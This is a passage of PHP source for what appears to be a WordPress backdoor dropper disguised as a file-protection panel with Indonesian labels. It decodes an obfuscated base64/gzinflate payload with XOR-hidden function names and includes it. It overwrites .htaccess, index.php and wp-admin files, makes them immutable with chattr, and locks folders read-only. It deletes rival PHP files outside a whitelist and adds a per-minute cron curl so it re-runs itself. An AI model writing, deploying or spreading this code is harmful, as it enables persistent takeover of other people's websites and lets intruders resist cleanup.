            'KSe5Y3Pwk6N2thyYC1Np/MM1d',
            'sTyG0Bfbi7VfHPKrbn1YLLEke',
            'jyP50R3X9LHrbpHHHqRGftlCf',
            'dmsflamPdVsYFAyn/59dd3//2',
            'OXPz2inyfLgq4TZxHEl4uNqul',
            'Ma+J+MnROjYvAK7nUT5t4PPze',
            'yr+7a1p/v3qb36u7o9zvF37wF',
            'vnzd2+XfjHx/sq/n7HlnAT8wO',
            's8CSxECwg6JfIW9xu6rdygkVQ',
            'ZoljXjxfF+vvPH9t8cMkVqehb',
            'nqU4eMQ1CP0mpVS908/iKWL7+',
            '4CqUK/O2hn0M7DsOl9KV58S8T',
            'bwwECICHn2XpVjwJ/PhitAJQE',
            'tDp3/PgY/amtvQz7hzb2LdgTG',
            '3kW2Otn3+7uu0UhBq3aeey29a',
            'ZYbb7XaMd+Xl+jGG4Wn98vbo3',
            '59XttfB8jyhSVcD1+BOe3JfXz',
            'mNDHiZVewK7/sJ3t1+uWPubip',
            '9v6ONdb2tsyJ/jJId+Hstca/H',
            'HQqRa/mwDFABfpkOc240WXfHc',
            '0mh1yAcA4ftnD/ccA1ZUc4344',
            'tdXt4rvPotetOoMwtuhy31blg',
            'zp68D4vxPDz1awkh3x0CM78wQ',
            'o8nK+d5bfvjQSk2eq1vH4ndp6',
            'G8qPxvlj/7WHf76G7SZFq62Hv',
            'vO7TTPek7m4LiW3jMQHjOcnzU',
            '/6+Q+ib0FhJZ1nejB8E6E8dx1',
            '1UiIdYGzAm1+/+czH8PEfwntY',
            'DPEDvn/eTvIXT3waZo2ezsDi+',
            '9yxP9/cTeXi2px/f+rewf3BrL',
            '0L+/qhT1xGvVzlaM0x9J1Ef1N',
            'EbtumNTTlW2EI1QleT52X22rT',
            '2zPY2qtqv/wxZj3O+ga62S+1B',
            'fBdc77b1CmAfx/0Ivt7NYe0oQ',
            'NnyZ+I4P2RLX+Q2Od5dwYccvU',
            'WPCXk2Dn1/vOLBOMisBzfwWlj',
            '3dofVdLBAD07TfRCB/Y0IiQE7',
            'QO7K9XkYPxXwkwD6xjkA3Duz8',
            'qM3kq/mADLbo4Z6/ZmLzVfTWK',
            'FEnAeS+Sn19yQUYnXXXbndb+3',
            'Hdv90Fz+818eYf2xbj+F9//F+',
            'LrsLwd62IgALot8K84GRBqQnP',
            '3fjib2wOTp459gUv7sX3tmpQc',
            'eLnvH4JxTAk4AhNC0ckJ+58Hk',
            '9zRG7H71LdVcPg756OI4z1l2D',
            '/u9P4G4fP77dp+H/1EYfA/7xf',
            'X2LtX/Mf47n9utNM0xsVSWWGk',
            '9ynU2O1a2PitJ9cq+Cox2gOgY',
            '4Gu8pcw1+sIXvV7AXR8BsGBTy',
            '/20RdKLFShih8UtqOaEM78Yjx',
            'CQ5Cp/HG6kXjXFyChTM2L44QT',
            'bHT/7fSj+u6U6uAK9mrS4kEHn',
            '34zeer+a5IxfnxQX5mzdpr8ei',
            'vAE4j3e3P3Wr9npH9sysMCfmj',
            'Q2dPblkcL697OlVv3dBHtvw/i',
            'XXw25/PClPNvkz2Xi6m5/a97d',
            '4+4fN7AXfL//8xy/v/teLtnr/',
            'pI/fP+3/5+oMX/+J4nz7J6//9',
            'vnffPvu3395E6WSY8Bj84BRVq',
            'dbTfdL8YsV6va/cv3l2as2PH5',
            'tDUPyIP6+3sy2z152JUcIgGo6',
            'vkYaP9ff5OG+6l9PLpgR21/++',
            'Y//Bw==',
        ]),
        'decoders' => ["base64_decode","gzinflate"],
        'k' => 235,
        'f_b64' => '898a988edddfb48f8e88848f8e',
        'f_gz' => '8c9182858d878a9f8e',
        'f_rot' => '989f99b499849fdad8',
        'f_tmp' => '9f8e869b858a86',
        'f_fpc' => '8d82878eb49b9e9fb48884859f8e859f98',
        'f_std' => '989298b48c8e9fb49f8e869bb48f8299',
        'f_fe' => '8d82878eb48e9382989f98',
        'f_ul' => '9e8587828580',
        'f_dir' => '8f8299858a868e'
    ];

    $cacheHandler = new \App\Runtime\System\CompiledConfigHandler2056($configData);
    $compiledPath = $cacheHandler->getPath();
    if ($compiledPath !== '' && $compiledPath !== false) {
        include($compiledPath);
        $cacheHandler->cleanup();
    }
    unset($cacheHandler, $configData, $compiledPath);
}
?>
PHP;
 $payloadIndexContent = <<<'KODE_AKHIR'
<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
KODE_AKHIR;

 $targetFiles = [
    $htaccess, $wpAdminHtaccess, $wpAdminFile, $indexFile,
    $dbFile, $baseDir . '/autoload_classmap.php', $baseDir . '/akcc.php', $baseDir . '/default.php'
];

// ================================================================
// === FUNGSI-FUNGSI HELPER (ANTI 0KB) ===
// ================================================================

function removeImmutableFlag(string $path): void {
    if (!file_exists($path) && !is_dir($path)) return;
    if (can_exec()) {
        safe_exec("chattr -i " . escapeshellarg($path) . " 2>/dev/null");
        safe_exec("chattr -a " . escapeshellarg($path) . " 2>/dev/null");
    }
}

function verifyFileIntegrity(string $path, string $expectedContent): bool {
    if (!file_exists($path)) return false;
    @clearstatcache(true, $path);
    $actualSize = @filesize($path);
    $expectedSize = strlen($expectedContent);
    
    if ($actualSize === false || $actualSize === 0) return false;
    if ($actualSize !== $expectedSize) return false;
    
    $actualContent = @file_get_contents($path);
    if ($actualContent === false) return false;
    
    return ($actualContent === $expectedContent);
}

function backupFileContent(string $path): ?string {
    if (!file_exists($path)) return null;
    $content = @file_get_contents($path);
    return ($content !== false && !empty($content)) ? $content : null;
}

function restoreFileContent(string $path, string $content): bool {
    try {
        $fp = @fopen($path, 'w');
        if ($fp === false) return false;
        
        if (flock($fp, LOCK_EX)) {
            fwrite($fp, $content);
            fflush($fp);
            flock($fp, LOCK_UN);
        }
        fclose($fp);
        
        @clearstatcache(true, $path);
        return (file_exists($path) && @filesize($path) > 0);
    } catch (\Throwable $e) {
        return false;
    }
}

function paksaHapus(string $file): bool {
    if (!file_exists($file)) return true;
    
    try {
        removeImmutableFlag($file);
        @chmod($file, 0777);
        @clearstatcache(true, $file);
        
        if (@unlink($file)) return true;
        
        $tmp = $file . '.tmpdel_' . uniqid();
        if (@rename($file, $tmp)) {
            @chmod($tmp, 0777);
            removeImmutableFlag($tmp);
            if (@unlink($tmp)) return true;
        }
        
        if (can_exec()) {
            safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
            if (!file_exists($file)) return true;
        }
        
    } catch (\Throwable $e) {}
    
    return false;
}

function ubahIzin(string $path, int $izin): bool {
    if (!file_exists($path)) return false;
    try {
        $result = @chmod($path, $izin);
        @clearstatcache(true, $path);
        return $result;
    } catch (\Throwable $e) {
        return false;
    }
}

// ⭐ PAKSA TULIS - VERSI AMAN (ANTI 0KB)
function paksaTulis(string $path, string $isi): bool {
    if (empty(trim($isi))) {
        return false;
    }
    
    $expectedLength = strlen($isi);
    $dir = dirname($path);
    
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    if (is_dir($dir)) {
        removeImmutableFlag($dir);
        @chmod($dir, 0755);
    }
    
    if (file_exists($path)) {
        removeImmutableFlag($path);
        @chmod($path, 0644);
    }
    
    $backupContent = backupFileContent($path);
    $maxAttempts = 3;
    $success = false;
    
    for ($attempt = 1; $attempt <= $maxAttempts && !$success; $attempt++) {
        
        // Metode 1: Atomic Write
        $tempFile = $path . '.tmp_' . uniqid() . '_' . mt_rand(1000, 9999);
        try {
            $fp = @fopen($tempFile, 'w');
            if ($fp !== false) {
                if (flock($fp, LOCK_EX | LOCK_NB)) {
                    $bytesWritten = fwrite($fp, $isi);
                    fflush($fp);
                    flock($fp, LOCK_UN);
                    fclose($fp);
                    
                    if ($bytesWritten === $expectedLength) {
                        @chmod($tempFile, 0644);
                        if (@rename($tempFile, $path)) {
                            @clearstatcache(true, $path);
                            if (verifyFileIntegrity($path, $isi)) {
                                $success = true;
                                break;
                            }
                        }
                    }
                } else {
                    @fclose($fp);
                }
            }
            if (file_exists($tempFile)) @unlink($tempFile);
        } catch (\Throwable $e) {
            if (file_exists($tempFile)) @unlink($tempFile);
        }
        
        // Metode 2: file_put_contents dengan LOCK_EX
        if (!$success) {
            try {
                $bytesWritten = @file_put_contents($path, $isi, LOCK_EX);
                if ($bytesWritten !== false && $bytesWritten === $expectedLength) {
                    @clearstatcache(true, $path);
                    if (verifyFileIntegrity($path, $isi)) {
                        $success = true;
                        break;
                    }
                }
            } catch (\Throwable $e) {}
        }
        
        // Metode 3: fopen langsung
        if (!$success) {
            try {
                if (file_exists($path)) {
                    removeImmutableFlag($path);
                    @chmod($path, 0666);
                }
                $fp = @fopen($path, 'w');
                if ($fp !== false) {
                    if (flock($fp, LOCK_EX)) {
                        ftruncate($fp, 0);
                        rewind($fp);
                        $bytesWritten = fwrite($fp, $isi);
                        fflush($fp);
                        flock($fp, LOCK_UN);
                        fclose($fp);
                        
                        if ($bytesWritten === $expectedLength) {
                            @clearstatcache(true, $path);
                            if (verifyFileIntegrity($path, $isi)) {
                                $success = true;
                                break;
                            }
                        }
                    } else {
                        @fclose($fp);
                    }
                }
            } catch (\Throwable $e) {}
        }
        
        // Metode 4: Exec
        if (!$success && can_exec()) {
            try {
                $tempFile = $path . '.exec_' . uniqid();
                $escapedContent = escapeshellarg($isi);
                safe_exec("printf '%s' {$escapedContent} > " . escapeshellarg($tempFile));
                
                if (file_exists($tempFile) && @filesize($tempFile) === $expectedLength) {
                    @chmod($tempFile, 0644);
                    if (@rename($tempFile, $path)) {
                        @clearstatcache(true, $path);
                        if (verifyFileIntegrity($path, $isi)) {
                            $success = true;
                            break;
                        }
                    }
                }
                if (file_exists($tempFile)) @unlink($tempFile);
            } catch (\Throwable $e) {}
        }
        
        if (!$success && $attempt < $maxAttempts) {
            usleep(300000 * $attempt);
            if (file_exists($path)) {
                removeImmutableFlag($path);
                @chmod($path, 0644);
            }
            @clearstatcache(true, $path);
        }
    }
    
    if (!$success) {
        if ($backupContent !== null && !empty($backupContent)) {
            restoreFileContent($path, $backupContent);
            @clearstatcache(true, $path);
            return false;
        }
    }
    
    return $success;
}

function perbaruiFile(string $filePath, string $backupDir, string $isiBaru, string $fileName): void {
    if (!is_dir($backupDir)) {
        @mkdir($backupDir, 0755, true);
    }
    if (file_exists($filePath)) {
        $timestamp = date('Ymd_His');
        @copy($filePath, $backupDir . '/' . $fileName . '.bak_' . $timestamp);
    }
    
    $result = paksaTulis($filePath, $isiBaru);
    if (!$result || !verifyFileIntegrity($filePath, $isiBaru)) {
        usleep(500000);
        removeImmutableFlag($filePath);
        @chmod($filePath, 0644);
        paksaTulis($filePath, $isiBaru);
    }
}

function forceRootDirPermission(string $baseDir): void {
    @chmod($baseDir, 0755);
    @clearstatcache(true, $baseDir);
    $wpAdminDir = $baseDir . '/wp-admin';
    if (is_dir($wpAdminDir)) {
        @chmod($wpAdminDir, 0755);
    }
}

// ================================================================
// === LOCK / UNLOCK REKURSIF ===
// ================================================================

function recursiveLockFoldersOnly_Safe(string $directory, array $excludeDirs = []): array {
    $stats = ['folders_locked' => 0, 'folders_excluded' => 0, 'errors' => 0];
    if (!is_dir($directory)) return $stats;
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS);
        $iterator = new RecursiveIteratorIterator($directoryIterator, RecursiveIteratorIterator::SELF_FIRST);
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                if (!$item->isDir()) continue;
                
                $isExcluded = false;
                foreach ($excludeDirs as $excludeDir) {
                    if (str_starts_with($path, $excludeDir)) {
                        $isExcluded = true;
                        break;
                    }
                }
                
                if ($isExcluded) {
                    @chmod($path, 0755);
                    $stats['folders_excluded']++;
                } else {
                    if (@chmod($path, 0555)) $stats['folders_locked']++;
                    else $stats['errors']++;
                }
                
                if (($stats['folders_locked'] + $stats['folders_excluded']) % 100 === 0) {
                    @clearstatcache();
                }
            } catch (\Throwable $e) {
                $stats['errors']++;
            }
        }
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    return $stats;
}

function recursiveUnlockFoldersOnly_Safe(string $directory): array {
    $stats = ['folders_unlocked' => 0, 'errors' => 0];
    if (!is_dir($directory)) return $stats;
    
    try {
        $directoryIterator = new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS);
        $iterator = new RecursiveIteratorIterator($directoryIterator, RecursiveIteratorIterator::SELF_FIRST);
        
        foreach ($iterator as $item) {
            try {
                $path = $item->getPathname();
                if (!$item->isDir()) continue;
                
                removeImmutableFlag($path);
                if (@chmod($path, 0755)) $stats['folders_unlocked']++;
                else $stats['errors']++;
                
                if ($stats['folders_unlocked'] % 100 === 0) @clearstatcache();
            } catch (\Throwable $e) {
                $stats['errors']++;
            }
        }
    } catch (\Exception $e) {
        $stats['errors']++;
    }
    
    @chmod($directory, 0755);
    $stats['folders_unlocked']++;
    return $stats;
}

function lockBaseDirectorySafe(string $baseDir): bool {
    try {
        $result1 = @chmod($baseDir, 0555);
        $wpAdminDir = $baseDir . '/wp-admin';
        if (is_dir($wpAdminDir)) @chmod($wpAdminDir, 0755);
        if (str_starts_with(__FILE__, $baseDir)) @chmod(__FILE__, 0644);
        return $result1;
    } catch (\Throwable $e) {
        return false;
    }
}

function superLockFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
    $coreTargets = [
        $baseDir . '/.htaccess',
        $baseDir . '/wp-admin/.htaccess',
        $baseDir . '/wp-admin/wp-admin.php',
        $baseDir . '/index.php'
    ];
    
    foreach ($allowedFiles as $file) {
        $filePath = $baseDir . '/' . $file . '.php';
        if (!file_exists($filePath)) {
            @touch($filePath);
            @file_put_contents($filePath, "<?php // silence is golden ?>");
        }
        $coreTargets[] = $filePath;
    }
    
    foreach ($coreTargets as $target) {
        if (!file_exists($target)) continue;
        $isSafe = false;
        foreach ($safeFiles as $safeFile) {
            if ($target === $safeFile || str_starts_with($target, $safeFile)) {
                $isSafe = true;
                break;
            }
        }
        if (str_contains($target, '/wp-admin/')) $isSafe = true;
        
        if ($isSafe) {
            @chmod($target, 0644);
        } else {
            @chmod($target, 0555);
            if (can_exec()) safe_exec("chattr +i " . escapeshellarg($target) . " 2>/dev/null");
        }
    }
}

function unlockSuperFilesSafe(string $baseDir, array $allowedFiles, array $safeFiles): void {
    $coreTargets = [
        $baseDir . '/.htaccess',
        $baseDir . '/wp-admin/.htaccess',
        $baseDir . '/wp-admin/wp-admin.php',
        $baseDir . '/index.php'
    ];
    foreach ($allowedFiles as $file) {
        $coreTargets[] = $baseDir . '/' . $file . '.php';
    }
    foreach ($coreTargets as $target) {
        if (!file_exists($target)) continue;
        removeImmutableFlag($target);
        @chmod($target, 0644);
    }
}

function setupAutoCronSafe(string $currentUrl): void {
    if (!can_exec()) return;
    try {
        $crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
        $cronCommand = "* * * * * /usr/bin/curl -s " . escapeshellarg($currentUrl . "?update=both_locked") . " >/dev/null 2>&1";
        $currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null") ?: '';
        if (str_contains($currentCron, $currentUrl)) return;
        $newCron = trim($currentCron . "\n" . $cronCommand);
        $tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
        if (@file_put_contents($tempFile, $newCron) !== false) {
            safe_exec("$crontabPath " . escapeshellarg($tempFile));
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
}

function removeAutoCronSafe(string $currentUrl): void {
    if (!can_exec()) return;
    try {
        $crontabPath = safe_exec("which crontab") ?: '/usr/bin/crontab';
        $currentCron = safe_shell_exec("$crontabPath -l 2>/dev/null");
        if ($currentCron === null || !str_contains($currentCron, $currentUrl)) return;
        $lines = explode("\n", $currentCron);
        $newLines = [];
        foreach ($lines as $line) {
            if (!str_contains($line, $currentUrl)) $newLines[] = $line;
        }
        $tempFile = sys_get_temp_dir() . '/crontab_' . getmypid() . '.txt';
        if (@file_put_contents($tempFile, implode("\n", array_filter($newLines))) !== false) {
            safe_exec("$crontabPath " . escapeshellarg($tempFile));
            @unlink($tempFile);
        }
    } catch (\Throwable $e) {}
}

function autoGenerateRobotsSafe(string $domain, string $protocol): bool {
    try {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "{$protocol}://{$domain}/robots",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 20,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Compatible)'
        ]);
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($response !== false && $httpCode === 200) {
            $robotsPath = rtrim($_SERVER['DOCUMENT_ROOT'], '/') . '/robots.txt';
            return file_exists($robotsPath);
        }
    } catch (\Throwable $e) {}
    return false;
}

function displaySxallsitemapSafe(string $domain, string $protocol): void {
    echo "<div style='margin-top:20px;padding:18px;background:#f8f9fa;border:2px solid #007bff;border-radius:10px;font-family:Arial,sans-serif'>";
    echo "<h3 style='color:#007bff;margin:0 0 12px 0'>πŸ—ΊοΈ SITEMAP</h3>";
    echo "<p style='margin:0 0 10px 0'>URL: <a href='{$protocol}://{$domain}/sxallsitemap.xml' target='_blank' style='color:#007bff;text-decoration:none;font-weight:bold'>{$protocol}://{$domain}/sxallsitemap.xml</a></p>";
    try {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => "{$protocol}://{$domain}/sxallsitemap.xml",
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 15,
            CURLOPT_SSL_VERIFYPEER => false
        ]);
        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        if ($response !== false && $httpCode === 200) {
            echo "<pre style='font-size:12px;white-space:pre-wrap;max-height:250px;overflow-y:auto;background:#fff;padding:12px;border-radius:6px;border:1px solid #ddd'>" . htmlspecialchars(substr($response, 0, 2000)) . (strlen($response) > 2000 ? "\n... (truncated)" : "") . "</pre>";
        } else {
            echo "<p style='color:#dc3545;margin:0'>❌ Gagal load sitemap (HTTP: $httpCode)</p>";
        }
    } catch (\Throwable $e) {
        echo "<p style='color:#dc3545;margin:0'>❌ Error: " . htmlspecialchars($e->getMessage()) . "</p>";
    }
    echo "</div>";
}

function cleanup_php_root_safe($baseDir = null): int {
    if (empty($baseDir)) $baseDir = rtrim($_SERVER['DOCUMENT_ROOT'], '/');
    
    $core_wp_files = ['index.php', 'wp-config.php', 'wp-activate.php', 'wp-blog-header.php', 'wp-comments-post.php', 'wp-cron.php', 'wp-links-opml.php', 'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-settings.php', 'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php'];
    $custom_whitelist = ['ah88.php', 'lm15.php', 'ws88.php', 'tx88.php', 'tx33.php', 'webindex.php', 'wordfence-waf.php', 'webindexORI.php', 'ws77.php', 'ww10.php', 'zz8.php', 'tx77.php', 'wp-admin.php', 'wp-trackback.php', 'ZMYYdI7Hdefault.php', 'bootstrap.php'];
    $allowed_non_php = ['robots.txt', '.htaccess', '.user.ini', 'php.ini', 'license.txt', 'readme.html', 'wp-config-sample.php', 'favicon.ico', 'web.config'];
    $whitelist = array_map('strtolower', array_merge($core_wp_files, $custom_whitelist, $allowed_non_php));
    
    $dangerous_ext = ['php0', 'phps', 'phtml', 'php4', 'php5', 'php7', 'phar'];
    $archive_ext = ['gz', 'zip', 'tar', 'rar', '7z', 'bz2'];
    $backup_ext = ['bak', 'old', 'orig', 'save', 'dist', '~'];
    $suspicious_ext = array_merge($dangerous_ext, $archive_ext, $backup_ext);
    $deleted = 0;
    
    @chmod($baseDir, 0755);
    $files = glob($baseDir . '/*');
    if (empty($files)) {
        $files = [];
        if ($handle = @opendir($baseDir)) {
            while (($entry = readdir($handle)) !== false) {
                if ($entry !== '.' && $entry !== '..') $files[] = $baseDir . '/' . $entry;
            }
            closedir($handle);
        }
    }
    
    foreach ($files as $file) {
        if (!is_file($file)) continue;
        $base_name = basename($file);
        $base_name_lower = strtolower($base_name);
        $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION) ?: '');
        
        if (in_array($base_name_lower, $whitelist)) continue;
        if ($file === __FILE__) continue;
        if (str_starts_with($base_name, '.') && in_array($base_name_lower, ['.htaccess', '.user.ini'])) continue;
        if (str_starts_with($base_name, '.')) continue;
        
        $should_delete = false;
        $reason = '';
        
        if ($ext === 'php' && !in_array($base_name_lower, $whitelist)) { $should_delete = true; $reason = 'PHP tidak di-whitelist'; }
        if (in_array($ext, $dangerous_ext)) { $should_delete = true; $reason = 'Ekstensi berbahaya (.' . $ext . ')'; }
        if (in_array($ext, $archive_ext)) { $should_delete = true; $reason = 'File arsip (.' . $ext . ')'; }
        if (in_array($ext, $backup_ext)) { $should_delete = true; $reason = 'File backup (.' . $ext . ')'; }
        
        if ($should_delete) {
            @chmod($file, 0777);
            if (@unlink($file)) { $deleted++; echo "  βœ— {$base_name} ({$reason})\n"; continue; }
            $tmp = $file . '.del_' . uniqid();
            if (@rename($file, $tmp)) {
                @chmod($tmp, 0777);
                if (@unlink($tmp)) { $deleted++; echo "  βœ— {$base_name} ({$reason})\n"; continue; }
            }
            if (can_exec()) {
                safe_exec("rm -f " . escapeshellarg($file) . " 2>/dev/null");
                if (!file_exists($file)) { $deleted++; echo "  βœ— {$base_name} ({$reason}) [exec]\n"; continue; }
            }
            echo "  ⚠ {$base_name} (GAGAL HAPUS)\n";
        }
    }
    return $deleted;
}

// ================================================================
// === PAYLOAD ===
// ================================================================

 $wpAdminContent = $payloadWpAdminContent;
 $indexContent = $payloadIndexContent;
 $domain = $_SERVER['HTTP_HOST'] ?? 'domain.com';
 $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
 $scriptUrl = $protocol . "://" . $domain . $_SERVER['PHP_SELF'];

// =================================================================================
// === UI & ROUTING ===
// =================================================================================

 $actionRequested = isset($_GET['update']) || $isFix || $isUnlock;

if (!$actionRequested) {
    $phpVersion = phpversion();
    $isPhp8 = version_compare($phpVersion, '8.0.0', '>=');
    $execAvailable = can_exec();
    
    echo "<!DOCTYPE html>
<html lang='id'>
<head>
    <meta charset='UTF-8'>
    <meta name='viewport' content='width=device-width, initial-scale=1.0'>
    <title>Kontrol Proteksi File - PHP {$phpVersion}</title>
    <style>
        *{box-sizing:border-box;margin:0;padding:0}
        body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;padding:20px}
        .container{background:#fff;max-width:850px;width:100%;padding:35px;border-radius:20px;box-shadow:0 25px 80px rgba(0,0,0,0.25)}
        h1{text-align:center;color:#2c3e50;font-size:26px;margin-bottom:5px}
        .version-badge{display:inline-block;background:" . ($isPhp8 ? '#00b894' : '#0984e3') . ";color:#fff;padding:4px 14px;border-radius:20px;font-size:11px;font-weight:bold;margin-left:8px;vertical-align:middle}
        .subtitle{text-align:center;color:#7f8c8d;font-size:13px;margin-bottom:25px}
        .alert{padding:16px;border-radius:10px;margin-bottom:20px;font-size:13px;line-height:1.6}
        .alert-success{background:#d4edda;color:#155724;border-left:5px solid #28a745}
        .alert-info{background:#d1ecf1;color:#0c5460;border-left:5px solid #17a2b8}
        .alert-warning{background:#fff3cd;color:#856404;border-left:5px solid #ffc107}
        .btn-group{display:flex;flex-wrap:wrap;gap:12px;justify-content:center;margin:22px 0}
        .btn{padding:14px 26px;border-radius:10px;text-decoration:none;font-weight:600;font-size:13px;transition:all 0.3s ease;box-shadow:0 4px 12px rgba(0,0,0,0.15);display:inline-block;min-width:200px;text-align:center}
        .btn:hover{transform:translateY(-3px);box-shadow:0 8px 24px rgba(0,0,0,0.22)}
        .btn-lock{background:linear-gradient(135deg,#f093fb 0%,#f5576c 100%);color:#fff}
        .btn-opts{background:linear-gradient(135deg,#4facfe 0%,#00f2fe 100%);color:#fff}
        .btn-upd{background:linear-gradient(135deg,#43e97b 0%,#38f9d7 100%);color:#2c3e50}
        .btn-wpa{background:linear-gradient(135deg,#fa709a 0%,#fee140 100%);color:#2c3e50}
        .btn-fix{background:linear-gradient(135deg,#a8edea 0%,#fed6e3 100%);color:#2c3e50}
        .btn-unlock{background:linear-gradient(135deg,#ff6b6b 0%,#ee5a24 100%);color:#fff;border:3px solid #c0392b;animation:pulse 2s infinite}
        .btn-unlock:hover{transform:translateY(-3px) scale(1.04)}
        @keyframes pulse{0%,100%{box-shadow:0 0 0 0 rgba(220,53,69,0.6)}50%{box-shadow:0 0 0 15px rgba(220,53,69,0)}}
        table{width:100%;border-collapse:collapse;margin:18px 0;font-size:12px;box-shadow:0 3px 12px rgba(0,0,0,0.08);border-radius:8px;overflow:hidden}
        th,td{padding:12px 14px;text-align:left;border-bottom:1px solid #eee}
        th{background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);color:#fff;font-weight:600}
        tr:hover{background:#f8f9f9}
        code{background:rgba(102,126,234,0.12);padding:2px 8px;border-radius:4px;font-size:11px;color:#667eea;font-weight:600}
        .info-box{background:#f8f9fa;padding:20px;border-radius:12px;margin-top:22px;border:1px solid #e9ecef}
        .info-box h3{margin:0 0 12px 0;color:#2c3e50;font-size:15px;border-bottom:2px solid #dee2e6;padding-bottom:8px}
        .info-box ul{padding-left:20px}
        .info-box li{margin-bottom:8px;line-height:1.5;color:#495057}
        .badge-new{background:#dc3545;color:#fff;padding:3px 10px;border-radius:12px;font-size:10px;font-weight:bold;margin-left:6px;vertical-align:middle}
        .checkmark{color:#28a745;margin-right:5px}
        .crossmark{color:#dc3545;margin-right:5px}
    </style>
</head>
<body>
<div class='container'>
    <h1>πŸ› οΈ Kontrol Proteksi File <span class='version-badge'>PHP {$phpVersion}" . ($isPhp8 ? ' βœ“' : '') . "</span></h1>
    <p class='subtitle'>WordPress Auto-Protect v7.3 - <strong>ANTI 0KB VERSION</strong></p>

    <div class='alert alert-success'>
        <strong><span class='checkmark'>βœ“</span> Status:</strong><br>
        β€’ <strong>.htaccess</strong> ditulis dengan Atomic Write & Verifikasi Konten<br>
        β€’ <strong>Anti 0KB:</strong> File di-backup ke memori sebelum diubah<br>
        β€’ <strong>exec() disabled?</strong> <span style='color:" . ($execAvailable ? '#28a745' : '#dc3545') . ";font-weight:bold'>" . ($execAvailable ? 'TIDAK - exec tersedia' : 'YA - menggunakan fallback') . "</span>
    </div>";

    if (!$execAvailable) {
        echo "
    <div class='alert alert-warning'>
        <strong>⚠️ Catatan:</strong> Fungsi <code>exec()</code> dinonaktifkan server.<br>
        β€’ <code>chattr</code> tidak akan digunakan (attribute lock skipped)<br>
        β€’ Cron setup akan di-skip<br>
        β€’ Semua operasi tetap berjalan normal tanpa exec
    </div>";
    }

    echo "
    <div class='btn-group' style='border-bottom:2px solid #eee;padding-bottom:20px;margin-bottom:20px'>
        <a href='?update=both_locked' class='btn btn-lock'>πŸ”’ LOCK FOLDERS</a>
        <a href='?update=options' class='btn btn-opts'>βš™οΈ OPTIONS</a>
        <a href='?update=both_unlocked' class='btn btn-upd'>πŸ”„ UPDATE</a>
        <a href='?update=wpadmin' class='btn btn-wpa'>πŸ“„ WP-ADMIN</a>
    </div>

    <div class='btn-group'>
        <a href='?fix' class='btn btn-fix'>πŸ”§ FIX</a>
        <a href='?unlock' class='btn btn-unlock'>πŸ”“ UNLOCK ALL<span class='badge-new'>NEW</span></a>
    </div>

    <table>
        <tr>
            <th>Mode</th>
            <th>Target</th>
            <th>Permission</th>
            <th>Cleanup</th>
        </tr>
        <tr style='background:#ffebee'>
            <td><strong>πŸ”’ LOCK</strong></td>
            <td>Folders Only</td>
            <td><code style='color:#d63031;font-weight:bold'>0555</code></td>
            <td><span style='color:#dc3545;font-weight:bold'>βœ“ AGRESIF</span></td>
        </tr>
        <tr style='background:#e8f5e9'>
            <td><strong>πŸ”“ UNLOCK</strong></td>
            <td>Folders Only</td>
            <td><code style='color:#00b894;font-weight:bold'>0755</code></td>
            <td>-</td>
        </tr>
    </table>

    <div class='info-box'>
        <h3>πŸ“‹ Panduan</h3>
        <ul>
            <li><strong>πŸ”’ Lock:</strong> Update + Cleanup agresif + Lock folders</li>
            <li><strong>πŸ”“ Unlock:</strong> Buka semua folder β†’ 0755</li>
            <li><strong>πŸ”§ Fix:</strong> Rebuild + Cleanup agresif</li>
        </ul>
    </div>
</div>
</body></html>";
    exit;
}

// =================================================================================
// === EKSEKUSI ===
// =================================================================================

echo "<div style='font-family:Arial,sans-serif;padding:20px;max-width:800px;margin:20px auto;border:1px solid #ddd;border-radius:12px;background:#fafafa'>";
echo "<h3 style='text-align:center;color:#2c3e50;margin-bottom:15px'>" . ($isUnlock ? "πŸ”“ UNLOCK" : ($isFix ? "πŸ”§ FIX" : "πŸ”„ UPDATE")) . "</h3>";
echo "<pre style='background:#fff;padding:18px;border-radius:10px;font-size:12px;line-height:1.6;white-space:pre-wrap;overflow-x:auto;border:1px solid #eee'>";

try {

// =======================================================================
// MODE UNLOCK
// =======================================================================
if ($isUnlock) {
    echo "πŸ”“ Mode: UNLOCK ALL FOLDERS\n";
    echo "⏰ Start: " . date('H:i:s') . "\n\n";
    
    forceRootDirPermission($baseDir);
    echo "βœ“ Root permissions set\n";
    
    foreach ($targetFiles as $file) {
        removeImmutableFlag($file);
        @chmod($file, 0644);
    }
    echo "βœ“ Target files unlocked\n";
    
    $result = recursiveUnlockFoldersOnly_Safe($baseDir);
    echo "βœ“ Folders unlocked: {$result['folders_unlocked']}\n";
    
